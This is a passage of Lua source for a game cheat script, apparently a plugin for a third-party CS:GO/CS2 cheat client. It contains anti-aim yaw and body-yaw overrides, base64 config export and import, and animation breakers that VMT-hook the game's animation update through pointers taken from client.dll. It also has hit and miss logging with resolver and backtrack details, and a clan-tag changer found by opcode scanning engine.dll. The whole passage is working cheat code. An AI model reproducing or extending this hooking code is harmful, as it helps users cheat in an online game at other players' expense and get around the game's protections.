if antiaim[stateid].yaw_mode:get() == "3-Way" then
local tick = globals.tickcount % 3
Cheat_refs.yaw_offset:override(tree_way[tick])
end
if antiaim[stateid].yaw_mode:get() == "5-Way" then
local tick = globals.tickcount % 5
Cheat_refs.yaw_offset:override(five_way[tick])
end
Cheat_refs.yaw_modifier:override(antiaim[stateid].yaw_modifier:get())
Cheat_refs.modifier_degree:override(antiaim[stateid].modifier_offset:get())
Cheat_refs.body_yaw:override(antiaim[stateid].body_yaw:get())
Cheat_refs.left_limit:override(antiaim_bodyyaw[stateid].left_limit:get())
Cheat_refs.right_limit:override(antiaim_bodyyaw[stateid].right_limit:get())
Cheat_refs.options_c:override(antiaim_bodyyaw[stateid].options:get())
Cheat_refs.freestanding:override(antiaim_bodyyaw[stateid].freestanding:get())
end

--custom_aa[d].jyaw_slider:get(), custom_aa[d].jyaw_slider:get() / 2, 0, -
custom_aa[d].jyaw_slider:get() / 2, - custom_aa[d].jyaw_slider:get()
local function str_to_sub(input, sep)
local t = {}
for str in string.gmatch(input, "([^"..sep.."]+)") do
t[#t + 1] = string.gsub(str, "\n", "")
end
return t
end

local function to_boolean(str)


if str == "true" or str == "false" then
return (str == "true")
else
return str
end
end

export_cfg = function()
str = ""
str = str .. tostring(antiaim[1].yaw_mode:get()) .. "|"
.. tostring(antiaim[1].yaw_r:get()) .. "|"
.. tostring(antiaim[1].yaw_l:get()) .. "|"
.. tostring(antiaim[1].yaw:get()) .. "|"
.. tostring(antiaim[1].yaw_modifier:get()) .. "|"
.. tostring(antiaim[1].body_yaw:get()) .. "|"
.. tostring(antiaim[1].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[1].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[1].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[1].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[1].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[1].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[1].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[1].options:get()[4]) .. "|"

.. tostring(antiaim[2].yaw_mode:get()) .. "|"
.. tostring(antiaim[2].yaw_r:get()) .. "|"
.. tostring(antiaim[2].yaw_l:get()) .. "|"
.. tostring(antiaim[2].yaw:get()) .. "|"
.. tostring(antiaim[2].yaw_modifier:get()) .. "|"
.. tostring(antiaim[2].body_yaw:get()) .. "|"
.. tostring(antiaim[2].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[2].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[2].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[2].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[2].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[2].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[2].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[2].options:get()[4]) .. "|"

.. tostring(antiaim[3].yaw_mode:get()) .. "|"
.. tostring(antiaim[3].yaw_r:get()) .. "|"
.. tostring(antiaim[3].yaw_l:get()) .. "|"
.. tostring(antiaim[3].yaw:get()) .. "|"
.. tostring(antiaim[3].yaw_modifier:get()) .. "|"
.. tostring(antiaim[3].body_yaw:get()) .. "|"
.. tostring(antiaim[3].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[3].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[3].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[3].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[3].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[3].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[3].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[3].options:get()[4]) .. "|"

.. tostring(antiaim[4].yaw_mode:get()) .. "|"
.. tostring(antiaim[4].yaw_r:get()) .. "|"
.. tostring(antiaim[4].yaw_l:get()) .. "|"
.. tostring(antiaim[4].yaw:get()) .. "|"
.. tostring(antiaim[4].yaw_modifier:get()) .. "|"
.. tostring(antiaim[4].body_yaw:get()) .. "|"
.. tostring(antiaim[4].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].onshot:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].lby_mode:get()) .. "|"
.. tostring(antiaim_bodyyaw[4].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[4].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[4].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[4].options:get()[4]) .. "|"

.. tostring(antiaim[5].yaw_mode:get()) .. "|"
.. tostring(antiaim[5].yaw_r:get()) .. "|"
.. tostring(antiaim[5].yaw_l:get()) .. "|"
.. tostring(antiaim[5].yaw:get()) .. "|"
.. tostring(antiaim[5].yaw_modifier:get()) .. "|"
.. tostring(antiaim[5].body_yaw:get()) .. "|"
.. tostring(antiaim[5].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].onshot:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].lby_mode:get()) .. "|"
.. tostring(antiaim_bodyyaw[5].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[5].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[5].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[5].options:get()[4]) .. "|"

.. tostring(antiaim[6].yaw_mode:get()) .. "|"
.. tostring(antiaim[6].yaw_r:get()) .. "|"
.. tostring(antiaim[6].yaw_l:get()) .. "|"
.. tostring(antiaim[6].yaw:get()) .. "|"
.. tostring(antiaim[6].yaw_modifier:get()) .. "|"
.. tostring(antiaim[6].body_yaw:get()) .. "|"
.. tostring(antiaim[6].modifier_offset:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].left_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].right_limit:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].freestanding:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].onshot:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].lby_mode:get()) .. "|"
.. tostring(antiaim_bodyyaw[6].options:get()[1]) .. "|"
.. tostring(antiaim_bodyyaw[6].options:get()[2]) .. "|"
.. tostring(antiaim_bodyyaw[6].options:get()[3]) .. "|"
.. tostring(antiaim_bodyyaw[6].options:get()[4]) .. "|"
clipboard.set(base64.encode(str))
end

import_cfg = function(input)
local tbl = str_to_sub(input, "|")
antiaim[1].yaw_mode:set(tostring(tbl[1]))
antiaim[1].yaw_r:set(tonumber(tbl[2]))
antiaim[1].yaw_l:set(tonumber(tbl[3]))
antiaim[1].yaw:set(tonumber(tbl[4]))
antiaim[1].yaw_modifier:set(tostring(tbl[5]))
antiaim[1].body_yaw:set(to_boolean(tbl[6]))
antiaim[1].modifier_offset:set(tonumber(tbl[7]))
antiaim_bodyyaw[1].left_limit:set(tonumber(tbl[8]))
antiaim_bodyyaw[1].right_limit:set(tonumber(tbl[9]))
antiaim_bodyyaw[1].freestanding:set(tostring(tbl[10]))
antiaim_bodyyaw[1].onshot:set(tostring(tbl[11]))
antiaim_bodyyaw[1].lby_mode:set(tostring(tbl[12]))
antiaim_bodyyaw[1].options:set(tostring(tbl[13]), tostring(tbl[14]),
tostring(tbl[15]), tostring(tbl[16]))

antiaim[2].yaw_mode:set(tostring(tbl[17]))
antiaim[2].yaw_r:set(tonumber(tbl[18]))
antiaim[2].yaw_l:set(tonumber(tbl[19]))
antiaim[2].yaw:set(tonumber(tbl[20]))
antiaim[2].yaw_modifier:set(tostring(tbl[21]))
antiaim[2].body_yaw:set(to_boolean(tbl[22]))
antiaim[2].modifier_offset:set(tonumber(tbl[23]))
antiaim_bodyyaw[2].left_limit:set(tonumber(tbl[24]))
antiaim_bodyyaw[2].right_limit:set(tonumber(tbl[25]))
antiaim_bodyyaw[2].freestanding:set(tostring(tbl[26]))
antiaim_bodyyaw[2].onshot:set(tostring(tbl[27]))
antiaim_bodyyaw[2].lby_mode:set(tostring(tbl[28]))
antiaim_bodyyaw[2].options:set(tostring(tbl[29]), tostring(tbl[30]),
tostring(tbl[31]), tostring(tbl[32]))

antiaim[3].yaw_mode:set(tostring(tbl[33]))
antiaim[3].yaw_r:set(tonumber(tbl[34]))
antiaim[3].yaw_l:set(tonumber(tbl[35]))
antiaim[3].yaw:set(tonumber(tbl[36]))
antiaim[3].yaw_modifier:set(tostring(tbl[37]))
antiaim[3].body_yaw:set(to_boolean(tbl[38]))
antiaim[3].modifier_offset:set(tonumber(tbl[39]))
antiaim_bodyyaw[3].left_limit:set(tonumber(tbl[40]))
antiaim_bodyyaw[3].right_limit:set(tonumber(tbl[41]))
antiaim_bodyyaw[3].freestanding:set(tostring(tbl[42]))
antiaim_bodyyaw[3].onshot:set(tostring(tbl[43]))
antiaim_bodyyaw[3].lby_mode:set(tostring(tbl[44]))
antiaim_bodyyaw[3].options:set(tostring(tbl[45]), tostring(tbl[46]),
tostring(tbl[47]), tostring(tbl[48]))

antiaim[4].yaw_mode:set(tostring(tbl[49]))
antiaim[4].yaw_r:set(tonumber(tbl[50]))
antiaim[4].yaw_l:set(tonumber(tbl[51]))
antiaim[4].yaw:set(tonumber(tbl[52]))
antiaim[4].yaw_modifier:set(tostring(tbl[53]))
antiaim[4].body_yaw:set(to_boolean(tbl[54]))
antiaim[4].modifier_offset:set(tonumber(tbl[55]))
antiaim_bodyyaw[4].left_limit:set(tonumber(tbl[56]))
antiaim_bodyyaw[4].right_limit:set(tonumber(tbl[57]))
antiaim_bodyyaw[4].freestanding:set(tostring(tbl[58]))
antiaim_bodyyaw[4].onshot:set(tostring(tbl[59]))
antiaim_bodyyaw[4].lby_mode:set(tostring(tbl[60]))
antiaim_bodyyaw[4].options:set(tostring(tbl[61]), tostring(tbl[62]),
tostring(tbl[63]), tostring(tbl[64]))

antiaim[5].yaw_mode:set(tostring(tbl[65]))
antiaim[5].yaw_r:set(tonumber(tbl[66]))
antiaim[5].yaw_l:set(tonumber(tbl[67]))
antiaim[5].yaw:set(tonumber(tbl[68]))
antiaim[5].yaw_modifier:set(tostring(tbl[69]))
antiaim[5].body_yaw:set(to_boolean(tbl[70]))
antiaim[5].modifier_offset:set(tonumber(tbl[71]))
antiaim_bodyyaw[5].left_limit:set(tonumber(tbl[72]))
antiaim_bodyyaw[5].right_limit:set(tonumber(tbl[73]))
antiaim_bodyyaw[5].freestanding:set(tostring(tbl[74]))
antiaim_bodyyaw[5].onshot:set(tostring(tbl[75]))
antiaim_bodyyaw[5].lby_mode:set(tostring(tbl[76]))
antiaim_bodyyaw[5].options:set(tostring(tbl[77]), tostring(tbl[78]),
tostring(tbl[79]), tostring(tbl[80]))

antiaim[6].yaw_mode:set(tostring(tbl[81]))
antiaim[6].yaw_r:set(tonumber(tbl[82]))
antiaim[6].yaw_l:set(tonumber(tbl[83]))
antiaim[6].yaw:set(tonumber(tbl[84]))
antiaim[6].yaw_modifier:set(tostring(tbl[85]))
antiaim[6].body_yaw:set(to_boolean(tbl[86]))
antiaim[6].modifier_offset:set(tonumber(tbl[87]))
antiaim_bodyyaw[6].left_limit:set(tonumber(tbl[88]))
antiaim_bodyyaw[6].right_limit:set(tonumber(tbl[89]))
antiaim_bodyyaw[6].freestanding:set(tostring(tbl[90]))
antiaim_bodyyaw[6].onshot:set(tostring(tbl[91]))
antiaim_bodyyaw[6].lby_mode:set(tostring(tbl[92]))
antiaim_bodyyaw[6].options:set(tostring(tbl[93]), tostring(tbl[94]),
tostring(tbl[95]), tostring(tbl[96]))
end

-- Animation breakrs
local uintptr_t = ffi.typeof("uintptr_t**")
local this_call = function(call_function, parameters)
return function(...)
return call_function(parameters, ...)
end
end
local entity_list_003 = ffi.cast(uintptr_t, utils.create_interface("client.dll",
"VClientEntityList003"))
local get_entity_address = this_call(ffi.cast("get_client_entity_t",
entity_list_003[0][3]), entity_list_003)

local hooked_function = nil


local inside_updateCSA = function(thisptr, edx)
hooked_function(thisptr, edx)
local lp = entity.get_local_player()
if not lp or not lp:is_alive() then return end
local legmovement = ui.find("Aimbot", "Anti Aim", "Misc", "Leg Movement")
if animbreakers:get("Static Legs") then
lp.m_flPoseParameter[6] = 1
end
if animbreakers:get("Dodge Legs") then
legmovement:override("Walking")

lp.m_flPoseParameter[7] = utils.random_float(0.0,1)
end
if animbreakers:get("Moon Walk") then
legmovement:override("Walking")

lp.m_flPoseParameter[7] = 0
end
if animbreakers:get("Move Lean") then
ffi.cast('CAnimationLayer**', ffi.cast('uintptr_t', thisptr) + 0x2990)
[0][12].m_flWeight = 1
end
if animbreakers:get("Leg Breaker In Air") then
ffi.cast('CAnimationLayer**', ffi.cast('uintptr_t', thisptr) + 0x2990)
[0][6].m_flWeight = 1
end
end

local hitgroup_str = {[0] = 'generic','head', 'chest', 'stomach','left arm', 'right


arm','left leg', 'right leg','neck', 'generic', 'gear'}

local id = 1
events.aim_ack:set(function(event)
local me = entity.get_local_player()
local result = event.state
local target = entity.get(event.target)
local text = "%"
if target == nil then return end
local health = target["m_iHealth"]
local state_1 = ""
if hitlogs:get() then
if event.state == "spread" then state_1 = "spread" end
if event.state == "prediction error" then state_1 = "prediction error" end
if event.state == "misprediction" then state_1 = "resolver" end
if event.state == "correction" then state_1 = "resolver" end
if event.state == "lagcomp failure" then state_1 = "lagcomp failure" end
if event.state == "unregistered shot" then state_1 = "red impact" end
if event.state == "death" then state_1 = "death" end
if event.state == "player death" then state_1 = "enemy death" end
if result == nil then
print_raw(("[Game\a6EA81CSense] [%s] Registered shot at %s's %s(%s%s)
for %s (aimed: %s for %s, health remain: %s) backtrack: %s"):format(id,
event.target:get_name(), hitgroup_str[event.hitgroup], event.hitchance, text,
event.damage, hitgroup_str[event.wanted_hitgroup], event.wanted_damage, health,
event.backtrack))
print_dev(("[%s] \aD5D5D5Registered shot at %s's %s(%s%s) for %s
(aimed: %s for %s, health remain: %s) backtrack: %s"):format(id,
event.target:get_name(), hitgroup_str[event.hitgroup], event.hitchance, text,
event.damage, hitgroup_str[event.wanted_hitgroup], event.wanted_damage, health,
event.backtrack))
else
print_raw(("[Game\a6EA81CSense] \aD5D5D5Missed %s's %s (dmg: %s, aimed:
%s, hc:%s%s) due to %s | backtrack: %s"):format(id, event.target:get_name(),
event.wanted_damage, hitgroup_str[event.wanted_hitgroup], event.hitchance, text,
state_1, event.backtrack))
print_dev(("[%s] Missed %s`s %s (dmg:%s, %s%s) due to %s |
backtrack: %s"):format(id, event.target:get_name(),
hitgroup_str[event.wanted_hitgroup], event.wanted_damage, event.hitchance, text,
state_1, event.backtrack))
end
id = id == 999 and 1 or id + 1
end
end)

local fn_change_clantag = utils.opcode_scan("engine.dll", "53 56 57 8B DA 8B F9 FF


15")
local set_clantag = ffi.cast("clantag_t", fn_change_clantag)
local animation = {" ", "R", "Ry", "Ryu", "Ryuu", "Ryuuj", "Ryuuji", "Ryuuji.",
"Ryuuji.l", "Ryuuji.lu", "Ryuuji.lua", "Ryuuji.lu", "Ryuuji.l", "Ryuuji.l",
"Ryuuji.", "Ryuuji", "Ryuuj", "Ryuu", "Ryu", "Ry", "R", " "}
local clantagnl = ui.find("Miscellaneous", "Main", "In-Game", "Clan Tag")
local once = false
local old_time = 0

events.render:set(function()
if not (globals.is_connected) then return end
local netchann_info = utils.net_channel()
if netchann_info == nil then return end
if clantag:get() ~= true then
if old_time ~= curtime and not once then
set_clantag("", "")
once = true
end
return
else
once = false
local curtime = math.floor(globals.curtime * 3)
if old_time ~= curtime then
local tickcount_pred = globals.tickcount + (netchann_info.latency[0] /
globals.tickinterval)
set_clantag(animation[curtime % #animation + 1], animation[curtime %
#animation + 1])
end
clantagnl:override(false)
old_time = curtime
end
end)

--events
events.render:set(function()
visible()
text()
weaponinfo:update()
inddt()
customscope()
watermark()
end)

events.createmove:set(function(cmd)
conditionalantiaim(cmd)
cmd.animate_move_lean = true
fastladder(cmd)
end)

events.createmove:set(function()
avoidbacksat()
end)
events.createmove_run:set(function()
local self = entity.get_local_player()
if not self or not self:is_alive() then return end

local self_index = self:get_index()


local self_address = get_entity_address(self_index)

if not self_address or hooked_function then return end

local new_point = vmt_hook.new(self_address)


hooked_function = new_point.hook("void(__fastcall*)(void*, void*)",
inside_updateCSA, 224)
end)

export_button = main_aa:button("Export Config", export_cfg)


import_button = main_aa:button("Import Config", function()
import_cfg(base64.decode(clipboard.get()))
end)

def_cfg = main_aa:button("Default Config", function()

import_cfg(base64.decode("NS1XYXl8MHwwfDE1fENlbnRlcnx0cnVlfC03MHw2MHw2MHxPZmZ8RGVmY
XVsdHxEaXNhYmxlZHxKaXR0ZXJ8QW50aS1CcnV0ZWZvcmNlfG5pbHxuaWx8NS1XYXl8MHwwfDEwfENlbnRl
cnx0cnVlfC02Nnw2MHw2MHxPZmZ8RGVmYXVsdHxEaXNhYmxlZHxKaXR0ZXJ8QW50aS1CcnV0ZWZvcmNlfG5
pbHxuaWx8NS1XYXl8MTB8LTR8LTM4fERpc2FibGVkfHRydWV8LTUxfDYwfDYwfE9mZnxPcHBvc2l0ZXxEaX
NhYmxlZHxKaXR0ZXJ8bmlsfG5pbHxuaWx8NS1XYXl8MHwwfDEyfENlbnRlcnx0cnVlfC02MHw2MHw2MHxPZ
mZ8RGVmYXVsdHxEaXNhYmxlZHxKaXR0ZXJ8QW50aS1CcnV0ZWZvcmNlfG5pbHxuaWx8TCZSfDIwfC0xMHww
fENlbnRlcnx0cnVlfC00MHw2MHw2MHxPZmZ8RGVmYXVsdHxEaXNhYmxlZHxKaXR0ZXJ8QW50aS1CcnV0ZWZ
vcmNlfG5pbHxuaWx8TCZSfDB8MHwwfERpc2FibGVkfGZhbHNlfDB8MHwwfE9mZnxEZWZhdWx0fERpc2FibG
VkfG5pbHxuaWx8bmlsfG5pbHw"))
end)

function visibleb()
defcount:visibility(enavled:get())
defspeed:visibility(enavled:get())

export_button:visibility(aa_master:get())
import_button:visibility(aa_master:get())
def_cfg:visibility(aa_master:get())
end
events.render:set(visibleb)

You might also like